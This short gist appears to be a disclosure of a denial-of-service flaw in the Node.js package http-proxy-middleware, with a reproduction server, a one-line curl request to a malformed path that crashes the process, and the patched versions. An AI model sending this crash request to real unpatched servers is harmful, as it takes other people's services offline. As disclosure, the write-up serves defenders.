`http-proxy-middleware` Denial-of-Service exploit for certain paths

gistfile1.txt

This describes an issue in `http-proxy-middleware` where the Node.js process dies due to `UnhandledPromiseRejection` when a user makes requests to certain paths. Here are steps to reproduce:

1. Run a server like this:
```js
const express = require('express')
const { createProxyMiddleware } = require('http-proxy-middleware')

const frontend = express()
frontend.use(createProxyMiddleware({
  target: 'http://localhost:3031',
  pathFilter: '*'
}))
frontend.listen(3030)

const backend = express()
backend.use((req, res) => res.send('ok'))
backend.listen(3031)
```

2. `curl 'localhost:3030//x@x'`

Expected: Response with payload `ok`
Actual: Server crashes with error `TypeError: Expected input to be a string` (from `micromatch`)

On v1 and v2 of `http-proxy-middleware`, it's also possible to exclude `pathFilter` and cause the server to crash with `TypeError: Cannot read properties of null (reading 'indexOf')` (from `matchSingleStringPath`).

This has been patched in v2.0.7 and v3.0.3 of `http-proxy-middleware`.